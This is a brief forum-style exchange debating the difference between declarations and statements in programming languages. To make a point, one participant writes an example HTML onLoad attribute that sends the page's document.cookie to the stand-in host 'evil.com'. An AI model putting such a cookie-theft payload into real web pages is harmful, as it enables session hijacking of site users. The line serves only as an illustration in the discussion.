That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:

  <body onLoad="http.GET('http://evil.com/"+document.cookie')">

What do you think is the difference between a declaration and a statement?

I don't need to think, I can just look up their definitions:

> a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization

> a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out
